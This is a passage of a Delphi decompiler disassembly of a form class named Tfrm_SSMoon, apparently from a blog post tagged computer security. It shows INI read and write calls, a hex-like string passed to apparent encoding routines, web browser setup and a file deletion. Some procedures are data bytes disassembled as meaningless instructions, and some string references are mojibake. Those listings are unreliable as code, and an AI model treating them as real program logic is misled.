004BC3C0   8B85C4FEFFFF           mov     eax, [ebp+$FFFFFEC4]

|
004BC3C6   E8B995F4FF             call    00405984
004BC3CB   50                     push    eax

* Possible String Reference to: 'CD2'
|
004BC3CC   68BCC54B00             push    $004BC5BC

* Possible String Reference to: 'DBI'
|
004BC3D1   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.WritePrivateProfileStringA()
|
004BC3D6   E825BAF4FF             call    00407E00
004BC3DB   A138664C00             mov     eax, dword ptr [$004C6638]

|
004BC3E0   E80F91F4FF             call    004054F4
004BC3E5   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]
004BC3EB   33C9                   xor     ecx, ecx
004BC3ED   BA00010000             mov     edx, $00000100

|
004BC3F2   E84176F4FF             call    00403A38
004BC3F7   56                     push    esi
004BC3F8   6800010000             push    $00000100
004BC3FD   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]
004BC403   50                     push    eax
004BC404   6898C54B00             push    $004BC598

* Possible String Reference to: 'CD3'
|
004BC409   68C0C54B00             push    $004BC5C0

* Possible String Reference to: 'DBI'
|
004BC40E   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.GetPrivateProfileStringA()
|
004BC413   E878B8F4FF             call    00407C90
004BC418   8D95C0FEFFFF           lea     edx, [ebp+$FFFFFEC0]
004BC41E   8D85FCFEFFFF           lea     eax, [ebp+$FFFFFEFC]

|
004BC424   E827E9F4FF             call    0040AD50
004BC429   8B95C0FEFFFF           mov     edx, [ebp+$FFFFFEC0]
004BC42F   A138664C00             mov     eax, dword ptr [$004C6638]

|
004BC434   E80F91F4FF             call    00405548
004BC439   A138664C00             mov     eax, dword ptr [$004C6638]
004BC43E   833800                 cmp     dword ptr [eax], +$00
004BC441   7571                   jnz     004BC4B4

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC443   8B8388030000           mov     eax, [ebx+$0388]
004BC449   8B401C                 mov     eax, [eax+$1C]
004BC44C   8B10                   mov     edx, [eax]
004BC44E   FF5214                 call    dword ptr [edx+$14]

|
004BC451   E8AE6FF4FF             call    00403404
004BC456   8BD0                   mov     edx, eax
004BC458   8D8DBCFEFFFF           lea     ecx, [ebp+$FFFFFEBC]

* Reference to field Tfrm_SSMoon.OFFS_0388
|
004BC45E   8B8388030000           mov     eax, [ebx+$0388]
004BC464   8B401C                 mov     eax, [eax+$1C]
004BC467   8B18                   mov     ebx, [eax]
004BC469   FF530C                 call    dword ptr [ebx+$0C]
004BC46C   8B95BCFEFFFF           mov     edx, [ebp+$FFFFFEBC]
004BC472   A138664C00             mov     eax, dword ptr [$004C6638]

|
004BC477   E8CC90F4FF             call    00405548
004BC47C   56                     push    esi
004BC47D   8D8DB8FEFFFF           lea     ecx, [ebp+$FFFFFEB8]
004BC483   A138664C00             mov     eax, dword ptr [$004C6638]
004BC488   8B00                   mov     eax, [eax]

* Possible String Reference to: 'B85609AEF9C6'
|
004BC48A   BAACC54B00             mov     edx, $004BC5AC

|
004BC48F   E8C854FBFF             call    0047195C
004BC494   8B85B8FEFFFF           mov     eax, [ebp+$FFFFFEB8]

|
004BC49A   E8E594F4FF             call    00405984
004BC49F   50                     push    eax

* Possible String Reference to: 'CD3'
|
004BC4A0   68C0C54B00             push    $004BC5C0

* Possible String Reference to: 'DBI'
|
004BC4A5   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.WritePrivateProfileStringA()
|
004BC4AA   E851B9F4FF             call    00407E00
004BC4AF   E9AE000000             jmp     004BC562
004BC4B4   8D8DB4FEFFFF           lea     ecx, [ebp+$FFFFFEB4]
004BC4BA   A138664C00             mov     eax, dword ptr [$004C6638]
004BC4BF   8B00                   mov     eax, [eax]
004BC4C1   50                     push    eax

* Possible String Reference to: 'B85609AEF9C6'
|
004BC4C2   BAACC54B00             mov     edx, $004BC5AC
004BC4C7   58                     pop     eax

|
004BC4C8   E87356FBFF             call    00471B40
004BC4CD   8B95B4FEFFFF           mov     edx, [ebp+$FFFFFEB4]
004BC4D3   A138664C00             mov     eax, dword ptr [$004C6638]

|
004BC4D8   E86B90F4FF             call    00405548
004BC4DD   8B1538664C00           mov     edx, [$004C6638]
004BC4E3   8B12                   mov     edx, [edx]
004BC4E5   8B8388030000           mov     eax, [ebx+$0388]
004BC4EB   8B401C                 mov     eax, [eax+$1C]
004BC4EE   8B08                   mov     ecx, [eax]
004BC4F0   FF5154                 call    dword ptr [ecx+$54]
004BC4F3   40                     inc     eax
004BC4F4   756C                   jnz     004BC562
004BC4F6   8B8388030000           mov     eax, [ebx+$0388]
004BC4FC   8B401C                 mov     eax, [eax+$1C]
004BC4FF   8B10                   mov     edx, [eax]
004BC501   FF5214                 call    dword ptr [edx+$14]

|
004BC504   E8FB6EF4FF             call    00403404
004BC509   8BD0                   mov     edx, eax
004BC50B   8D8DB0FEFFFF           lea     ecx, [ebp+$FFFFFEB0]
004BC511   8B8388030000           mov     eax, [ebx+$0388]
004BC517   8B401C                 mov     eax, [eax+$1C]
004BC51A   8B18                   mov     ebx, [eax]
004BC51C   FF530C                 call    dword ptr [ebx+$0C]
004BC51F   8B95B0FEFFFF           mov     edx, [ebp+$FFFFFEB0]
004BC525   A138664C00             mov     eax, dword ptr [$004C6638]

|
004BC52A   E81990F4FF             call    00405548
004BC52F   56                     push    esi
004BC530   8D8DACFEFFFF           lea     ecx, [ebp+$FFFFFEAC]
004BC536   A138664C00             mov     eax, dword ptr [$004C6638]
004BC53B   8B00                   mov     eax, [eax]

* Possible String Reference to: 'B85609AEF9C6'
|
004BC53D   BAACC54B00             mov     edx, $004BC5AC

|
004BC542   E81554FBFF             call    0047195C
004BC547   8B85ACFEFFFF           mov     eax, [ebp+$FFFFFEAC]

|
004BC54D   E83294F4FF             call    00405984
004BC552   50                     push    eax

* Possible String Reference to: 'CD3'
|
004BC553   68C0C54B00             push    $004BC5C0

* Possible String Reference to: 'DBI'
|
004BC558   68A0C54B00             push    $004BC5A0

* Reference to: kernel32.WritePrivateProfileStringA()
|
004BC55D   E89EB8F4FF             call    00407E00
004BC562   33C0                   xor     eax, eax
004BC564   5A                     pop     edx
004BC565   59                     pop     ecx
004BC566   59                     pop     ecx
004BC567   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '_^[嬪]?
|
004BC56A   688FC54B00             push    $004BC58F
004BC56F   8D85ACFEFFFF           lea     eax, [ebp+$FFFFFEAC]
004BC575   BA14000000             mov     edx, $00000014

|
004BC57A   E8998FF4FF             call    00405518
004BC57F   8D45FC                 lea     eax, [ebp-$04]

|
004BC582   E86D8FF4FF             call    004054F4
004BC587   C3                     ret


|
004BC588   E94F87F4FF             jmp     00404CDC
004BC58D   EBE0                   jmp     004BC56F

****** END
|
004BC58F   5F                     pop     edi
004BC590   5E                     pop     esi
004BC591   5B                     pop     ebx
004BC592   8BE5                   mov     esp, ebp
004BC594   5D                     pop     ebp
004BC595   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BC5C5(Sender : TObject);
begin
(*
004BC5C5   8BEC                   mov     ebp, esp
004BC5C7   6A00                   push    $00
004BC5C9   6A00                   push    $00
004BC5CB   6A00                   push    $00
004BC5CD   53                     push    ebx
004BC5CE   8BD8                   mov     ebx, eax
004BC5D0   33C0                   xor     eax, eax
004BC5D2   55                     push    ebp

* Possible String Reference to: '閽嗶脬[嬪]?
|
004BC5D3   6845C64B00             push    $004BC645

***** TRY
|
004BC5D8   64FF30                 push    dword ptr fs:[eax]
004BC5DB   648920                 mov     fs:[eax], esp
004BC5DE   8D45FC                 lea     eax, [ebp-$04]

* Possible String Reference to: 'about:blank'
|
004BC5E1   BA5CC64B00             mov     edx, $004BC65C

|
004BC5E6   E8A18FF4FF             call    0040558C
004BC5EB   8D45F8                 lea     eax, [ebp-$08]
004BC5EE   8B55FC                 mov     edx, [ebp-$04]

|
004BC5F1   E86698F4FF             call    00405E5C
004BC5F6   8B55F8                 mov     edx, [ebp-$08]

* Reference to control Tfrm_SSMoon.Webb : TWebBrowser
|
004BC5F9   8B8370030000           mov     eax, [ebx+$0370]

* Reference to : TWebBrowser._PROC_00470464()
|
004BC5FF   E8603EFBFF             call    00470464
004BC604   8D45F4                 lea     eax, [ebp-$0C]
004BC607   8B15D8644C00           mov     edx, [$004C64D8]
004BC60D   8B12                   mov     edx, [edx]

|
004BC60F   E84898F4FF             call    00405E5C
004BC614   8B55F4                 mov     edx, [ebp-$0C]

* Reference to control Tfrm_SSMoon.webb2 : TWebBrowser
|
004BC617   8B8374030000           mov     eax, [ebx+$0374]

* Reference to : TWebBrowser._PROC_00470464()
|
004BC61D   E8423EFBFF             call    00470464
004BC622   33C0                   xor     eax, eax
004BC624   5A                     pop     edx
004BC625   59                     pop     ecx
004BC626   59                     pop     ecx
004BC627   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '[嬪]?
|
004BC62A   684CC64B00             push    $004BC64C
004BC62F   8D45F4                 lea     eax, [ebp-$0C]
004BC632   BA02000000             mov     edx, $00000002

|
004BC637   E8D896F4FF             call    00405D14
004BC63C   8D45FC                 lea     eax, [ebp-$04]

|
004BC63F   E8B08EF4FF             call    004054F4
004BC644   C3                     ret


|
004BC645   E99286F4FF             jmp     00404CDC
004BC64A   EBE3                   jmp     004BC62F

****** END
|
004BC64C   5B                     pop     ebx
004BC64D   8BE5                   mov     esp, ebp
004BC64F   5D                     pop     ebp
004BC650   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BC843(Sender : TObject);
begin
(*
004BC843   0025442C33CB           add     [$CB332C44], ah
004BC849   26D011                 rcl     byte ptr es:[ecx], 1
004BC84C   B483                   mov     ah, $83
004BC84E   00C0                   add     al, al
004BC850   4F                     dec     edi
004BC851   D901                   fld     dword ptr [ecx]
004BC853   1927                   sbb     [edi], esp
004BC855   44                     inc     esp
004BC856   2C33                   sub     al, $33
004BC858   CB                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BC859(Sender : TObject);
begin
(*
004BC859   26D011                 rcl     byte ptr es:[ecx], 1
004BC85C   B483                   mov     ah, $83
004BC85E   00C0                   add     al, al
004BC860   4F                     dec     edi
004BC861   D901                   fld     dword ptr [ecx]
004BC863   19FF                   sbb     edi, edi
004BC865   FFFF                   DB  $FF, $FF  //      
004BC867   FF36                   push    dword ptr [esi]
004BC869   0000                   add     [eax], al

*)
end;

procedure Tfrm_SSMoon._PROC_004BCA70(Sender : TObject);
begin
(*
004BCA70   55                     push    ebp
004BCA71   8BEC                   mov     ebp, esp
004BCA73   81C42CFEFFFF           add     esp, $FFFFFE2C
004BCA79   53                     push    ebx
004BCA7A   33D2                   xor     edx, edx
004BCA7C   8955FC                 mov     [ebp-$04], edx
004BCA7F   33C0                   xor     eax, eax
004BCA81   55                     push    ebp

* Possible String Reference to: '榈€?腽[嬪]?
|
004BCA82   6822CC4B00             push    $004BCC22

***** TRY
|
004BCA87   64FF30                 push    dword ptr fs:[eax]
004BCA8A   648920                 mov     fs:[eax], esp
004BCA8D   A1D8644C00             mov     eax, dword ptr [$004C64D8]
004BCA92   8B00                   mov     eax, [eax]

|
004BCA94   E8B3DCF4FF             call    0040A74C
004BCA99   84C0                   test    al, al
004BCA9B   7425                   jz      004BCAC2
004BCA9D   8B1DD8644C00           mov     ebx, [$004C64D8]
004BCAA3   8B1B                   mov     ebx, [ebx]
004BCAA5   899D2CFEFFFF           mov     [ebp+$FFFFFE2C], ebx
004BCAAB   8B852CFEFFFF           mov     eax, [ebp+$FFFFFE2C]

|
004BCAB1   E8CE8EF4FF             call    00405984
004BCAB6   50                     push    eax

* Reference to: kernel32.DeleteFileA()
|
004BCAB7   E8D4B0F4FF             call    00407B90
004BCABC   83F801                 cmp     eax, +$01
004BCABF   1BC0                   sbb     eax, eax
004BCAC1   40                     inc     eax
004BCAC2   8B15D8644C00           mov     edx, [$004C64D8]
004BCAC8   8B12                   mov     edx, [edx]
004BCACA   8D8530FEFFFF           lea     eax, [ebp+$FFFFFE30]

|
004BCAD0   E8BF6CF4FF             call    00403794
004BCAD5   8D8530FEFFFF           lea     eax, [ebp+$FFFFFE30]

|
004BCADB   E8446AF4FF             call    00403524

|
004BCAE0   E80766F4FF             call    004030EC

* Possible String Reference to: ''
|
004BCBB4   6814CE4B00             push    $004BCE14
004BCBB9   6890CC4B00             push    $004BCC90
004BCBBE   689CCC4B00             push    $004BCC9C

* Possible String Reference to: '
                    
                    

你可能感兴趣的:(电脑安全,delphi)